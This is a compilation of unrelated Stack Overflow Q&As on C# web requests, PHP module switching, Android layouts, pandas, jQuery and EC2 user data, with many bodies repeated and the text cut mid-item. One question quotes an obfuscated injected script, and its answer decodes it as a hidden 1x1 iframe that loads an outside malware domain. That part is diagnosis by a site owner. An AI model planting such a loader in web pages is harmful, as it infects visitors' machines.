    string postData = "__VIEWSTATE=GIBBERISH&UserName=USERNAME&Password=PASSWORD%21&LoginButton.x=0&LoginButton.y=0";

    //Throw the string into the body.
    ASCIIEncoding encoding = new ASCIIEncoding();
    byte[] byte1 = encoding.GetBytes(postData);
    requestBody.Write(byte1, 0, byte1.Length);
    requestBody.Close();

    //Get the response to the login request.
    WebResponse response = request.GetResponse();
    StreamReader reader = new StreamReader(response.GetResponseStream());
    string result = reader.ReadToEnd();
    reader.Close();

    return cookieJar;
}
</code>```

To request a page:

```<code>private static long RequestPage(string url)
{
    //If we've already got a CookieContainer, then we've logged in already. Otherwise, log in.
    if (cookieJar == null)
    {
        try
        {
            cookieJar = PerformLoginRequest();
        }
        catch
        {
            throw;
        }
    }

    //Set up the request.
    HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
    request.CookieContainer = cookieJar;
    request.Method = "GET";
    request.ContentType = "application/x-www-form-urlencoded";
    request.Timeout = timeout; //5 minutes.

    WebResponse response = request.GetResponse();

    return response.ContentLength;
}
</code>```

The cookieJar and timeout variables are global to the application.

Any idea what would cause this?

Update (2010-01-17, 3:30 PM EST)

When I launch the application with Fiddler running, everything goes through fine. All the requests function, just as I would expect.

I inspected the IIS log files. In them I can see the intial login request, the redirect after login, and the requests for the first two pages. But after that...nothing. It's like the requests don't even make it to the web server.

Update (2010-01-18, 11:29 AM EST)

I updated the code up top to reflect the changes suggested by Chris B. Behrens. But to no avail. In case it matters, the loop that calls the above functions looks like this:

```<code>private static void RegenerateNecessaryForms(MyEntities context)
{
    var items = context.Items.Where(i => i.NeedsProcessing == true);

    var area = context.Areas;
    foreach (Item i in items)
    {
        bool success = true;
        foreach (Area area in areas)
        {
            try
            {
                string url = string.Format("http://{0}/mySite/process.aspx?item={1}&area={2}", targetDomain, i.ItemName, area.AreaName);
                long result = RequestPage(url, m);
            }
            catch
            {
                success = false;
            }
        }

        if (success)
        {
            i.NeedsProcessing = false;
        }
    }
}
</code>```

Update (2010-01-18, 1:03 PM EST)
This is probably the most useful information I've been able to provide so far.

I was looking at the IIS logs again. When the login request is sent, I can flush the logs and it shows up immediately. However, none of the page requests show up until I close the console application. Here's the relevant bit of the log:

```<code>2011-01-18 17:44:54 X.X.X.X POST /MySite/login.aspx - 80 - X.X.X.X - 302 0 0 148
2011-01-18 17:44:54 X.X.X.X GET /MySite/default.aspx - 80 AutomatedUser X.X.X.X - 200 0 0 48
2011-01-18 17:54:33 X.X.X.X GET /MySite/process.aspx model=ITEM_ONE&area=US 80 AutomatedUser X.X.X.X - 200 0 995 579100
2011-01-18 17:54:33 X.X.X.X GET /MySite/process.aspx model=ITEM_ONE&area=CANADA 80 AutomatedUser X.X.X.X - 200 0 995 553247
2011-01-18 17:54:33 X.X.X.X GET /MySite/process.aspx model=ITEM_TWO&area=US 80 AutomatedUser X.X.X.X - 200 0 995 532824
</code>```

Each of the GET requests to process.aspx corresponds to a call to the RequestPage method above. The line "request.GetResponse();" only takes about 10 seconds or so, but it looks like somehow that request never gets completed (at least according to IIS) until I close the application. (If you look at the last number on each line, that's the amount of time it took to serve the page in milliseconds, but I got the response back in the application in much less time than that.) So it's possible (probably even likely) that IIS is restricting the amount of connections it will accept from one IP.

Which brings me to the question: What is it about the requests that I'm making that causes them to stay "open" like that?

The requests don't return an HTML page (if that matters) they return a PDF.

答:
You're not explicitly closing your request:

```<code>//Get the response to the login request.
WebResponse response = request.GetResponse();
StreamReader reader = new StreamReader(response.GetResponseStream());
string result = reader.ReadToEnd();

reader.Close();

return cookieJar;
</code>```

See if that does the trick.

ContentLicense: CC BY-SA 2.5

Body:
For what its worth, I managed to get a console application to authenticate itself with an existing ASP.NET web application. It just mimics the login page by making a post request to the login page containing the viewstate information (just as if a browser had made the request).

It then catches the cookie sent back in response in a CookieContainer.

The application then goes on to make multiple requests to the same page (which requires authorization). The page does some work and writes out a file on the server.

The problem I'm encountering is that after the phony login, the first two requests go through okay. The third request never even receives a response. Below is the code I'm using to make the requests:

To login:

private static CookieContainer PerformLoginRequest()
{
    string loginURL = "http://www.myDomain.com/mySite/login.aspx";

    //Set up the request and give it a cookie container.
    CookieContainer cookieJar = new CookieContainer();
    HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(loginURL);
    request.CookieContainer = cookieJar;
    request.Method = "POST";
    request.ContentType = "application/x-www-form-urlencoded";

    //Grab the request body so we can put important information in it.
    Stream requestBody = request.GetRequestStream();
    string postData = "__VIEWSTATE=GIBBERISH&UserName=USERNAME&Password=PASSWORD%21&LoginButton.x=0&LoginButton.y=0";

    //Throw the string into the body.
    ASCIIEncoding encoding = new ASCIIEncoding();
    byte[] byte1 = encoding.GetBytes(postData);
    requestBody.Write(byte1, 0, byte1.Length);
    requestBody.Close();

    //Get the response to the login request.
    WebResponse response = request.GetResponse();
    StreamReader reader = new StreamReader(response.GetResponseStream());
    string result = reader.ReadToEnd();
    reader.Close();

    return cookieJar;
}

To request a page:

private static long RequestPage(string url)
{
    //If we've already got a CookieContainer, then we've logged in already. Otherwise, log in.
    if (cookieJar == null)
    {
        try
        {
            cookieJar = PerformLoginRequest();
        }
        catch
        {
            throw;
        }
    }

    //Set up the request.
    HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
    request.CookieContainer = cookieJar;
    request.Method = "GET";
    request.ContentType = "application/x-www-form-urlencoded";
    request.Timeout = timeout; //5 minutes.

    WebResponse response = request.GetResponse();

    return response.ContentLength;
}

The cookieJar and timeout variables are global to the application.

Any idea what would cause this?

Update (2010-01-17, 3:30 PM EST)

When I launch the application with Fiddler running, everything goes through fine. All the requests function, just as I would expect.

I inspected the IIS log files. In them I can see the intial login request, the redirect after login, and the requests for the first two pages. But after that...nothing. It's like the requests don't even make it to the web server.

Update (2010-01-18, 11:29 AM EST)

I updated the code up top to reflect the changes suggested by Chris B. Behrens. But to no avail. In case it matters, the loop that calls the above functions looks like this:

private static void RegenerateNecessaryForms(MyEntities context)
{
    var items = context.Items.Where(i => i.NeedsProcessing == true);

    var area = context.Areas;
    foreach (Item i in items)
    {
        bool success = true;
        foreach (Area area in areas)
        {
            try
            {
                string url = string.Format("http://{0}/mySite/process.aspx?item={1}&area={2}", targetDomain, i.ItemName, area.AreaName);
                long result = RequestPage(url, m);
            }
            catch
            {
                success = false;
            }
        }

        if (success)
        {
            i.NeedsProcessing = false;
        }
    }
}

Update (2010-01-18, 1:03 PM EST)
This is probably the most useful information I've been able to provide so far.

I was looking at the IIS logs again. When the login request is sent, I can flush the logs and it shows up immediately. However, none of the page requests show up until I close the console application. Here's the relevant bit of the log:

2011-01-18 17:44:54 X.X.X.X POST /MySite/login.aspx - 80 - X.X.X.X - 302 0 0 148
2011-01-18 17:44:54 X.X.X.X GET /MySite/default.aspx - 80 AutomatedUser X.X.X.X - 200 0 0 48
2011-01-18 17:54:33 X.X.X.X GET /MySite/process.aspx model=ITEM_ONE&area=US 80 AutomatedUser X.X.X.X - 200 0 995 579100
2011-01-18 17:54:33 X.X.X.X GET /MySite/process.aspx model=ITEM_ONE&area=CANADA 80 AutomatedUser X.X.X.X - 200 0 995 553247
2011-01-18 17:54:33 X.X.X.X GET /MySite/process.aspx model=ITEM_TWO&area=US 80 AutomatedUser X.X.X.X - 200 0 995 532824

Each of the GET requests to process.aspx corresponds to a call to the RequestPage method above. The line "request.GetResponse();" only takes about 10 seconds or so, but it looks like somehow that request never gets completed (at least according to IIS) until I close the application. (If you look at the last number on each line, that's the amount of time it took to serve the page in milliseconds, but I got the response back in the application in much less time than that.) So it's possible (probably even likely) that IIS is restricting the amount of connections it will accept from one IP.

Which brings me to the question: What is it about the requests that I'm making that causes them to stay "open" like that?

The requests don't return an HTML page (if that matters) they return a PDF.

Body:
You're not explicitly closing your request:

//Get the response to the login request.
WebResponse response = request.GetResponse();
StreamReader reader = new StreamReader(response.GetResponseStream());
string result = reader.ReadToEnd();

reader.Close();

return cookieJar;

See if that does the trick.


问:
Is Akka's routers similar to Go's select?
I read that Akka library has something called "Routers" which routes messages to their routees (who will receive the messages). Is this similar to selective communication in Go which uses the select statement?</p>

答:
It is similar in abstract terms and general understanding but very different if you compare with Akka router.

As you are trying to compare a language feature with a framework feature here is an explantation.

Go uses select over channels and this feature is a basic building block which you can use to extend routing and add many features which Akka has. Try looking into some fantastic GitHub libraries.

https://github.com/avelino/awesome-go#routers

Akka itself is huge and very well written. Akka router has many other options which includes routing strategy and remote routing as well.

go-select is a language feature which makes it easier to implement routing feature if you compare with other languages (readers-no language war please!)

Thanks


问:
sudo a2enmod php5.6, php -v still shows php 7.01 conflict
I'm trying to switch php versions, get following response.  I tried dismounting mpm_prefork and mpm_worker still no joy, any ideas please.

on Ubuntu 16.04

```<code>sudo a2enmod php5.6

 Considering dependency mpm_prefork for php5.6:
 Considering conflict mpm_event for mpm_prefork:
 Considering conflict mpm_worker for mpm_prefork:
 Enabling module mpm_prefork.
 Considering conflict php5 for php5.6:
 Enabling module php5.6.
 To activate the new configuration, you need to run:
 service apache2 restart
</code>```

答:
php -v (default PHP version)

From PHP 7.0 to PHP 5.6:

```<code>sudo a2dismod php7.0

sudo a2enmod php5.6

sudo update-alternatives --set php /usr/bin/php5.6

sudo service apache2 restart
</code>```

From PHP 5.6 to PHP 7.0:

```<code>sudo a2dismod php5.6

sudo a2enmod php7.0

sudo update-alternatives --set php /usr/bin/php7.0

sudo service apache2 restart
</code>```

Body:
I'm trying to switch php versions, get following response.  I tried dismounting mpm_prefork and mpm_worker still no joy, any ideas please.

on Ubuntu 16.04

sudo a2enmod php5.6

 Considering dependency mpm_prefork for php5.6:
 Considering conflict mpm_event for mpm_prefork:
 Considering conflict mpm_worker for mpm_prefork:
 Enabling module mpm_prefork.
 Considering conflict php5 for php5.6:
 Enabling module php5.6.
 To activate the new configuration, you need to run:
 service apache2 restart

Body:
php -v (default PHP version)

From PHP 7.0 to PHP 5.6:

sudo a2dismod php7.0

sudo a2enmod php5.6

sudo update-alternatives --set php /usr/bin/php5.6

sudo service apache2 restart

From PHP 5.6 to PHP 7.0:

sudo a2dismod php5.6

sudo a2enmod php7.0

sudo update-alternatives --set php /usr/bin/php7.0

sudo service apache2 restart


问:
Scrollview getting blocked by linear layout
I have a design like this :
XMLFile1.xml

```<code><RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/option_view"
android:layout_width="fill_parent"
android:layout_height="fill_parent">

  <ScrollView
    android:name="question_paper_scrollView"
    android:layout_width="match_parent"
    android:layout_height="fill_parent"
    android:fillViewport="true">

    <FrameLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/fragment_container"
    android:layout_width="match_parent"
    android:layout_height="match_parent"/>
  </ScrollView>
</RelativeLayout>
</code>```

XMLFile2.xml

```<code><RelativeLayout
 xmlns:android="http://schemas.android.com/apk/res/android"
 xmlns:app="http://schemas.android.com/apk/res-auto"
 xmlns:tools="http://schemas.android.com/tools"
 android:layout_width="fill_parent"
 android:layout_height="match_parent">
  <include layout=XMLFile1.xml>
  <LinearLayout
    android:layout_width="fill_parent"
    android:layout_height="match_parent"
    android:layout_alignParentLeft="true"
    android:layout_alignParentStart="true"
    android:gravity="center|bottom"
    android:weightSum="4"/>
 </RelativeLayout>
</code>```

I have set the android:fillViewport="true" in ScrollView according to this and also set the minimumHeight() of the FrameLayout as per this. FrameLayout holds the quiz questions and they need to be scrollable and the LinearLayout consists of set of buttons like next, previous and clear. I learnt from this LinearLayout can hide the ScrollView but I can see the ScrollBar. What is the correct way to achieve : Scrollable questions with given design?
PS: I am constrained to use LinearLayout because I want set of buttons at the bottom of the screen and to use FrameLayout because I am loading the quiz questions dynamically from the database.

SOLUTION: COMBINATION OF BOTH THE ANSWERS. USE wrap_content in all the layouts and user layout_below attribute in linear layout

答:
you can call bringToFront() for ScrollView If it doesn't block the views.
Or adjust android:height of views.
you also set ScrollView to android:layout_below="@id/includeView"

Body:
I have a design like this :
XMLFile1.xml

<RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/option_view"
android:layout_width="fill_parent"
android:layout_height="fill_parent">

  <ScrollView
    android:name="question_paper_scrollView"
    android:layout_width="match_parent"
    android:layout_height="fill_parent"
    android:fillViewport="true">

    <FrameLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/fragment_container"
    android:layout_width="match_parent"
    android:layout_height="match_parent"/>
  </ScrollView>
</RelativeLayout>

XMLFile2.xml

<RelativeLayout
 xmlns:android="http://schemas.android.com/apk/res/android"
 xmlns:app="http://schemas.android.com/apk/res-auto"
 xmlns:tools="http://schemas.android.com/tools"
 android:layout_width="fill_parent"
 android:layout_height="match_parent">
  <include layout=XMLFile1.xml>
  <LinearLayout
    android:layout_width="fill_parent"
    android:layout_height="match_parent"
    android:layout_alignParentLeft="true"
    android:layout_alignParentStart="true"
    android:gravity="center|bottom"
    android:weightSum="4"/>
 </RelativeLayout>

I have set the android:fillViewport="true" in ScrollView according to this and also set the minimumHeight() of the FrameLayout as per this. FrameLayout holds the quiz questions and they need to be scrollable and the LinearLayout consists of set of buttons like next, previous and clear. I learnt from this LinearLayout can hide the ScrollView but I can see the ScrollBar. What is the correct way to achieve : Scrollable questions with given design?
PS: I am constrained to use LinearLayout because I want set of buttons at the bottom of the screen and to use FrameLayout because I am loading the quiz questions dynamically from the database.

SOLUTION: COMBINATION OF BOTH THE ANSWERS. USE wrap_content in all the layouts and user layout_below attribute in linear layout


问:
Python 3.6: Histogram based on a column with a space in its name
I am trying to make a histogram plot, which normally is no problem, but the column I want to make histogram out of has a space in its name.

Column name: 'Type 1'

Attempt:

```<code>a = datapok['Type 1'].value_counts(dropna =False)
a.Type 1.plot(kind = 'hist',bins = 50,figsize = (15,15))
</code>```

which I knew wouldn't work.
result:

```<code>File "<ipython-input-25-b861d1bdb038>", line 2
a.Type 1.plot(kind = 'hist',bins = 50,figsize = (15,15))
^SyntaxError: invalid syntax
</code>```

I tried creating a variable with the string 'Type 1' and use the variable in place of 'Type 1' but that is also invalid.

Anyone have any ideas on the correct approach of making a histogram based off a column with a space in its name?

答:
I'm assuming that datapok is a pandas.DataFrame. If so, then a is already based on the Type 1 column, as in it is a Series object. You just need to do:

```<code>fig = a.plot(kind = 'hist',bins = 50,figsize = (15,15))
fig.figure #shows the figure
</code>```

Body:
I am trying to make a histogram plot, which normally is no problem, but the column I want to make histogram out of has a space in its name.

Column name: 'Type 1'

Attempt:

a = datapok['Type 1'].value_counts(dropna =False)
a.Type 1.plot(kind = 'hist',bins = 50,figsize = (15,15))

which I knew wouldn't work.
result:

File "<ipython-input-25-b861d1bdb038>", line 2
a.Type 1.plot(kind = 'hist',bins = 50,figsize = (15,15))
^SyntaxError: invalid syntax

I tried creating a variable with the string 'Type 1' and use the variable in place of 'Type 1' but that is also invalid.

Anyone have any ideas on the correct approach of making a histogram based off a column with a space in its name?

Body:
I'm assuming that datapok is a pandas.DataFrame. If so, then a is already based on the Type 1 column, as in it is a Series object. You just need to do:

fig = a.plot(kind = 'hist',bins = 50,figsize = (15,15))
fig.figure #shows the figure


问:
This site may be distributing malware ? strange javascript?
```<code><script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%
74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%
70%3A%2F%2F%73%65%64%70%6F%6F%2E%63%6F%6D%2F%3F%33%33%38%33%
37%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%
3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script>
</code>```

My website www.safwanmanpower.com is attacked by a malware script in each page i don't know wt this script is all about can anybody how this script make my website malware affected ??

hoping for quick and positive response.

edited

how sumone can attacked my website without an permission of uploading ??

答:
When removing the whitespace it decodes to:</p>

```<code>document.write('<iframe src="http://sedpoo.com/?338375" width=1 height=1></iframe>')
</code>```

Body:
When removing the whitespace it decodes to:

document.write('<iframe src="http://sedpoo.com/?338375" width=1 height=1></iframe>')


问:
Click on element after fading in on hover
I have a paragraph and an anchor, when i hover into the paragraph, the anchor fades in, how can I keep it for a little while so I can click on it? because when I move the mouse away from the p element it disappears and I cant click on it, here is my code:

$(function() {
  $('p').hover(function() {
    $('a').fadeIn();
  }, function() {
    $('a').css('display','none');
  });
});```
<pre class="snippet-code-css lang-css prettyprint-override"><code>a{
  display: none;
}</code>```

Show anchor

Hi```

答:
Here you go with a solution https://jsfiddle.net/k8jkvbp5/

$('p').hover(function() {
  $(this).next('a').fadeIn();
}, function() {
  $(this).next('a').fadeOut();
});```
<pre class="snippet-code-css lang-css prettyprint-override"><code>a{
  display: none;
}</code>```

Show anchor

Hi```

I've used jQuery next along with fadeIn / fadeOut

Hope this will help you.

Body:
I have a paragraph and an anchor, when i hover into the paragraph, the anchor fades in, how can I keep it for a little while so I can click on it? because when I move the mouse away from the p element it disappears and I cant click on it, here is my code:

$(function() {
  $('p').hover(function() {
    $('a').fadeIn();
  }, function() {
    $('a').css('display','none');
  });
});

a{
  display: none;
}

Show anchor

Hi

Body:
Here you go with a solution https://jsfiddle.net/k8jkvbp5/

$('p').hover(function() {
  $(this).next('a').fadeIn();
}, function() {
  $(this).next('a').fadeOut();
});

a{
  display: none;
}

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<p>Show anchor</p>
<a href="#">Hi</a>

I've used jQuery next along with fadeIn / fadeOut

Hope this will help you.


答:
Put an if construct to check for value 99 and exit the application if the condition is true.</p>

```<code>i = Convert.ToInt32(ReadLine());

if( i == 99 )
{
    //Perform any operation you want to before exiting the application.
    Console.WriteLine("Exiting Application");

    //This will terminate the program.
    Environment.Exit(0);
}
</code>```

Title: How to exit while loop on certain condition and exception handling for invalid values

Body:
Put an if construct to check for value 99 and exit the application if the condition is true.

i = Convert.ToInt32(ReadLine());

if( i == 99 )
{
    //Perform any operation you want to before exiting the application.
    Console.WriteLine("Exiting Application");

    //This will terminate the program.
    Environment.Exit(0);
}


问:
User data bash script to start services in EC2 instance not executing
I'm having difficulty getting certain services running within my EC2 instance. I'm using an Amazon Linux AMI, and would like to start neo4j, the graphical database, as a service when my instance first launches.

However, I've been having trouble getting anything start, let alone neo4j. I can't even get the basic tutorial user data script provided by Amazon working. I copied and pasted the below code:

```<code>#!/bin/bash
yum update -y
yum install -y httpd24 php56 mysql55-server php56-mysqlnd
service httpd start
chkconfig httpd on
</code>```

into the User Data section of my EC2 instance, and then started up my EC2 instance. Theoretically, since httpd is started, I should be able to navigate to the IP address of my instance in a browser and see the default Apache web page (I have allowed inbound HTTP at port 80 for security group settings). However, I get a Connection refused error.

This is confirmed when I issue the following commands after SSH-ing into my instance:

sudo su
service httpd status

The response is httpd is stopped, when clearly the user data script is supposed to start it. Amazon recommends to debug that I check /var/log/cloud-init-output.log for error messages, but I don't see any when I inspect the log:

```<code>Cloud-init v. 0.7.6 running 'init-local' at Sun, 12 Nov 2017 16:41:03 +0000. Up 5.73 seconds.
Cloud-init v. 0.7.6 running 'init' at Sun, 12 Nov 2017 16:41:03 +0000. Up 5.91 seconds.
ci-info: +++++++++++++++++++++++Net device info+++++++++++++++++++++++
ci-info:  Device   Up     Address         Mask          Hw-Address
ci-info:    lo    True   127.0.0.1     255.0.0.0            .
ci-info:   eth0   True  172.31.7.27  255.255.240.0  0a:8c:a2:67:1f:46
ci-info: ++++++++++++++++++++++++++++++Route info+++++++++++++++++++++++++++++++
ci-info:  Route    Destination     Gateway        Genmask      Interface  Flags
ci-info:    0        0.0.0.0      172.31.0.1      0.0.0.0         eth0      UG
ci-info:    1    169.254.169.254   0.0.0.0    255.255.255.255     eth0      UH
ci-info:    2       172.31.0.0     0.0.0.0     255.255.240.0      eth0      U
Generating public/private rsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_rsa_key.
Your public key has been saved in /etc/ssh/ssh_host_rsa_key.pub.
The key fingerprint is:
...
The key's randomart image is:
+---[RSA 2048]----+
[RANDOM ART]
+----[SHA256]-----+
Generating public/private dsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_dsa_key.
Your public key has been saved in /etc/ssh/ssh_host_dsa_key.pub.
The key fingerprint is:
...
The key's randomart image is:
+---[DSA 1024]----+
+----[SHA256]-----+
Generating public/private ecdsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_ecdsa_key.
Your public key has been saved in /etc/ssh/ssh_host_ecdsa_key.pub.
The key fingerprint is:
...
The key's randomart image is:
... [RANDOMART IMAGE]
Cloud-init v. 0.7.6 running 'modules:config' at Sun, 12 Nov 2017 16:41:04 +0000. Up 6.70 seconds.
Loaded plugins: priorities, update-motd, upgrade-helper
No packages needed for security; 0 packages available
No packages marked for update
Cloud-init v. 0.7.6 running 'modules:final' at Sun, 12 Nov 2017 16:41:08 +0000. Up 10.93 seconds.
Cloud-init v. 0.7.6 finished at Sun, 12 Nov 2017 16:41:08 +0000. Datasource DataSourceEc2.  Up 11.04 seconds
Cloud-init v. 0.7.6 running 'init-local' at Sun, 12 Nov 2017 17:10:45 +0000. Up 5.85 seconds.
Cloud-init v. 0.7.6 running 'init' at Sun, 12 Nov 2017 17:10:46 +0000. Up 6.04 seconds.
ci-info: +++++++++++++++++++++++Net device info+++++++++++++++++++++++
ci-info:  Device   Up     Address         Mask          Hw-Address
ci-info:    lo    True   127.0.0.1     255.0.0.0            .
ci-info:   eth0   True  172.31.7.27  255.255.240.0  0a:8c:a2:67:1f:46
ci-info: ++++++++++++++++++++++++++++++Route info+++++++++++++++++++++++++++++++
ci-info:  Route    Destination     Gateway        Genmask      Interface  Flags
ci-info:    0        0.0.0.0      172.31.0.1      0.0.0.0         eth0      UG
ci-info:    1    169.254.169.254   0.0.0.0    255.255.255.255     eth0      UH
ci-info:    2       172.31.0.0     0.0.0.0     255.255.240.0      eth0      U
Cloud-init v. 0.7.6 running 'modules:config' at Sun, 12 Nov 2017 17:10:46 +0000. Up 6.61 seconds.
Cloud-init v. 0.7.6 running 'modules:final' at Sun, 12 Nov 2017 17:10:47 +0000. Up 7.03 seconds.
Cloud-init v. 0.7.6 finished at Sun, 12 Nov 2017 17:10:47 +0000. Datasource DataSourceEc2.  Up 7.11 seconds
Cloud-init v. 0.7.6 running 'init-local' at Sun, 12 Nov 2017 17:18:25 +0000. Up 5.60 seconds.
Cloud-init v. 0.7.6 running 'init' at Sun, 12 Nov 2017 17:18:25 +0000. Up 5.79 seconds.
ci-info: +++++++++++++++++++++++Net device info+++++++++++++++++++++++
ci-info:  Device   Up     Address         Mask          Hw-Address
ci-info:    lo    True   127.0.0.1     255.0.0.0            .
ci-info:   eth0   True  172.31.7.27  255.255.240.0  0a:8c:a2:67:1f:46
ci-info: ++++++++++++++++++++++++++++++Route info+++++++++++++++++++++++++++++++
ci-info:  Route    Destination     Gateway        Genmask      Interface  Flags
ci-info:    0        0.0.0.0      172.31.0.1      0.0.0.0         eth0      UG
ci-info:    1    169.254.169.254   0.0.0.0    255.255.255.255     eth0      UH
ci-info:    2       172.31.0.0     0.0.0.0     255.255.240.0      eth0      U
Cloud-init v. 0.7.6 running 'modules:config' at Sun, 12 Nov 2017 17:18:26 +0000. Up 6.41 seconds.
Cloud-init v. 0.7.6 running 'modules:final' at Sun, 12 Nov 2017 17:18:26 +0000. Up 6.84 seconds.
Cloud-init v. 0.7.6 finished at Sun, 12 Nov 2017 17:18:26 +0000. Datasource DataSourceEc2.  Up 6.93 seconds
</code>```

I looked on StackOverflow for similar posts, and found this: user data script doesn't launch with ec2 instance. The accepted answer says that user data scripts only execute on the first boot cycle- does that mean I need to terminate my instance and launch a completely fresh instance in order to execute my script? In which case, I feel like that defeats the whole purpose of a startup script to begin with!

EDIT: I added in a few echo test statements to see if they were being printed out in the logs- nope!

However, I did try curl http://169.254.169.254/latest/meta-data from my EC2 instance, and got back this output:

```<code>#!/bin/bash
echo "Testing 1"
yum update -y
echo "Testing 2"
yum install -y httpd24 php56 mysql55-server php56-mysqlnd
echo "Testing 3"
service httpd start
chkconfig httpd on
</code>```

So it's definitely loading my user data... just not executing it.

答:
From Configuring Instances with User Data

When you specify user data, note the following:

User data is treated as opaque data: what you give is what you get
  back. It is up to the instance to be able to interpret it.

User data
  is limited to 16 KB. This limit applies to the data in raw form, not
  base64-encoded form.

User data must be base64-encoded. The Amazon EC2
  console can perform the base64 encoding for you or accept
  base64-encoded input.

User data must be decoded when you retrieve it.
  The data is decoded when you retrieve it using instance metadata and
  the console.

User data is executed only at launch. If you stop an
  instance, modify the user data, and start the instance, the new user
  data is not executed automatically

Userdata only runs on the instance launch. Its purpose is to run once, to allow for one-time server configuration tasks before the instance is put into service.

Do you want the software installation process to run each time on reboot? If you want to start a process on each reboot, then look into /etc/rc.local.

Body:
I'm having difficulty getting certain services running within my EC2 instance. I'm using an Amazon Linux AMI, and would like to start neo4j, the graphical database, as a service when my instance first launches.

However, I've been having trouble getting anything start, let alone neo4j. I can't even get the basic tutorial user data script provided by Amazon working. I copied and pasted the below code:

#!/bin/bash
yum update -y
yum install -y httpd24 php56 mysql55-server php56-mysqlnd
service httpd start
chkconfig httpd on

into the User Data section of my EC2 instance, and then started up my EC2 instance. Theoretically, since httpd is started, I should be able to navigate to the IP address of my instance in a browser and see the default Apache web page (I have allowed inbound HTTP at port 80 for security group settings). However, I get a Connection refused error.

This is confirmed when I issue the following commands after SSH-ing into my instance:

sudo su
service httpd status

The response is httpd is stopped, when clearly the user data script is supposed to start it. Amazon recommends to debug that I check /var/log/cloud-init-output.log for error messages, but I don't see any when I inspect the log:

Cloud-init v. 0.7.6 running 'init-local' at Sun, 12 Nov 2017 16:41:03 +0000. Up 5.73 seconds.
Cloud-init v. 0.7.6 running 'init' at Sun, 12 Nov 2017 16:41:03 +0000. Up 5.91 seconds.
ci-info: +++++++++++++++++++++++Net device info+++++++++++++++++++++++
ci-info:  Device   Up     Address         Mask          Hw-Address
ci-info:    lo    True   127.0.0.1     255.0.0.0            .
ci-info:   eth0   True  172.31.7.27  255.255.240.0  0a:8c:a2:67:1f:46
ci-info: ++++++++++++++++++++++++++++++Route info+++++++++++++++++++++++++++++++
ci-info:  Route    Destination     Gateway        Genmask      Interface  Flags
ci-info:    0        0.0.0.0      172.31.0.1      0.0.0.0         eth0      UG
ci-info:    1    169.254.169.254   0.0.0.0    255.255.255.255     eth0      UH
ci-info:    2       172.31.0.0     0.0.0.0     255.255.240.0      eth0      U
Generating public/private rsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_rsa_key.
Your public key has been saved in /etc/ssh/ssh_host_rsa_key.pub.
The key fingerprint is:
...
The key's randomart image is:
+---[RSA 2048]----+
[RANDOM ART]
+----[SHA256]-----+
Generating public/private dsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_dsa_key.
Your public key has been saved in /etc/ssh/ssh_host_dsa_key.pub.
The key fingerprint is:
...
The key's randomart image is:
+---[DSA 1024]----+
+----[SHA256]-----+
Generating public/private ecdsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_ecdsa_key.
Your public key has been saved in /etc/ssh/ssh_host_ecdsa_key.pub.
The key fingerprint is:
...
The key's randomart image is:
... [RANDOMART IMAGE]
Cloud-init v. 0.7.6 running 'modules:config' at Sun, 12 Nov 2017 16:41:04 +0000. Up 6.70 seconds.
Loaded plugins: priorities, update-motd, upgrade-helper
No packages needed for security; 0 packages available
No packages marked for update
Cloud-init v. 0.7.6 running 'modules:final' at Sun, 12 Nov 2017 16:41:08 +0000. Up 10.93 seconds.
Cloud-init v. 0.7.6 finished at Sun, 12 Nov 2017 16:41:08 +0000. Datasource DataSourceEc2.  Up 11.04 seconds
Cloud-init v. 0.7.6 running 'init-local' at Sun, 12 Nov 2017 17:10:45 +0000. Up 5.85 seconds.
Cloud-init v. 0.7.6 running 'init' at Sun, 12 Nov 2017 17:10:46 +0000. Up 6.04 seconds.
ci-info: +++++++++++++++++++++++Net device info+++++++++++++++++++++++
ci-info:  Device   Up     Address         Mask          Hw-Address
ci-info:    lo    True   127.0.0.1     255.0.0.0            .
ci-info:   eth0   True  172.31.7.27  255.255.240.0  0a:8c:a2:67:1f:46
ci-info: ++++++++++++++++++++++++++++++Route info+++++++++++++++++++++++++++++++
ci-info:  Route    Destination     Gateway        Genmask      Interface  Flags
ci-info:    0        0.0.0.0      172.31.0.1      0.0.0.0         eth0      UG
ci-info:    1    169.254.169.254   0.0.0.0    255.255.255.255     eth0      UH
ci-info:    2       172.31.0.0     0.0.0.0     255.255.240.0      eth0      U
Cloud-init v. 0.7.6 running 'modules:config' at Sun, 12 Nov 2017 17:10:46 +0000. Up 6.61 seconds.
Cloud-init v. 0.7.6 running 'modules:final' at Sun, 12 Nov 2017 17:10:47 +0000. Up 7.03 seconds.
Cloud-init v. 0.7.6 finished at Sun, 12 Nov 2017 17:10:47 +0000. Datasource DataSourceEc2.  Up 7.11 seconds
Cloud-init v. 0.7.6 running 'init-local' at Sun, 12 Nov 2017 17:18:25 +0000. Up 5.60 seconds.
Cloud-init v. 0.7.6 running 'init' at Sun, 12 Nov 2017 17:18:25 +0000. Up 5.79 seconds.
ci-info: +++++++++++++++++++++++Net device info+++++++++++++++++++++++
ci-info:  Device   Up     Address         Mask          Hw-Address
ci-info:    lo    True   127.0.0.1     255.0.0.0            .
ci-info:   eth0   True  172.31.7.27  255.255.240.0  0a:8c:a2:67:1f:46
ci-info: ++++++++++++++++++++++++++++++Route info+++++++++++++++++++++++++++++++
ci-info:  Route    Destination     Gateway        Genmask      Interface  Flags
ci-info:    0        0.0.0.0      172.31.0.1      0.0.0.0         eth0      UG
ci-info:    1    169.254.169.254   0.0.0.0    255.255.255.255     eth0      UH
